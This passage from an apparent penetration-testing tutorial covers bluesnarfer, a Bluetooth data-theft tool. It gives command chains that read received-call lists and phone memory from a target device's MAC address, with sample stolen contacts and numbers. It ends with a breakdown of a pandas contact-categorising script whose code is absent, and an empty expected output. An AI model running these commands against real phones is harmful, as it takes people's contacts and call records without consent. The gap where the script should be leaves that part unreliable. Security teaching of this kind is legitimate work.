    8: "Frank - Legal",+15553216549
    9: "Grace - CEO",+15557778888
    10: "Heidi - Intern",+15559991111

#### Objective: Count the Total Number of Entries in the Received Calls List

Bash

    bluesnarfer -b 11:22:33:AA:BB:CC -s RC -r 1-200 | grep -c '^[0-9]'

- Command Breakdown:

  - `bluesnarfer ... -r 1-200`: Attempts to read up to 200 entries from the received calls list.

  - `|`: Pipes the output to `grep`.

  - `grep -c '^[0-9]'`: Counts (`-c`) the lines that start with (`^`) a digit (`[0-9]`), which is the format for each entry.

- Ethical Context & Use-Case: Instead of manually counting, this command provides a quick enumeration of accessible records. This metric is valuable for an audit report, as it quantifies the extent of the data exposure (e.g., "The vulnerability exposed a total of 47 received call records."). --> Expected Output:

    [+] Reading entries 1 to 200 from "RC" phonebook
    47

#### Objective: Extract Only the Phone Numbers from the Internal Memory and Sort Uniquely

Bash

    bluesnarfer -b 00:1A:2B:3C:4D:5E -s ME -r 1-100 | grep -oP ',\K\+?[0-9]+' | sort -u

- Command Breakdown:

  - `bluesnarfer ... -r 1-100`: Reads up to 100 entries from the phone's memory.

  - `|`: Pipes the output to `grep`.

  - `grep -oP ',\K\+?[0-9]+'`: A powerful `grep` command using Perl-compatible regular expressions (`-P`) to show only the matching part (`-o`). The regex `,\K\+?[0-9]+` finds a comma, discards it (`\K`), and then matches a full phone number.

  - `| sort -u`: The extracted numbers are piped to `sort`, where `-u` sorts them and removes any duplicate entries.

- Ethical Context & Use-Case: This advanced chain is for targeted data analysis. An ethical hacker can use it to create a clean, unique list of exposed phone numbers from a test device. This list can then be cross-referenced against known company numbers to assess the impact of the information leak without the noise of names and indexes. --> Expected Output:

    [+] Reading entries 1 to 100 from "ME" phonebook
    +12128675309
    +13034991701
    +14155551234
    +15551110000
    +15551234567
    +15552223333
    ... (and so on for all unique numbers)

- Command Breakdown:

  - `import pandas as pd`: Imports the powerful Pandas library for data manipulation.

  - `re.compile(...)`: Creates a regular expression to accurately parse each line of the Bluesnarfer output.

  - `pd.DataFrame(data)`: Converts the parsed list of dictionaries into a structured table (DataFrame).

  - `categorize_contact(name)`: A function that simulates a simple AI/ML model by applying business logic to categorize contacts based on keywords.

  - `contacts_df['Category'] = ...`: Applies this categorization to create a new "Category" column, adding intelligence to the raw data.

  - `plot()`: Uses Matplotlib (a dependency of Pandas plotting) to generate a visual summary of the findings.

- Ethical Context & Use-Case: A manual review of hundreds of contacts is inefficient. This AI-augmented approach automates the parsing, analysis, and visualization of exposed data. A penetration tester can use this script to quickly identify the types of sensitive contacts exposed (e.g., a high number of 'Management' contacts), providing a much more impactful finding in their report than a simple data dump. --> Expected Output:
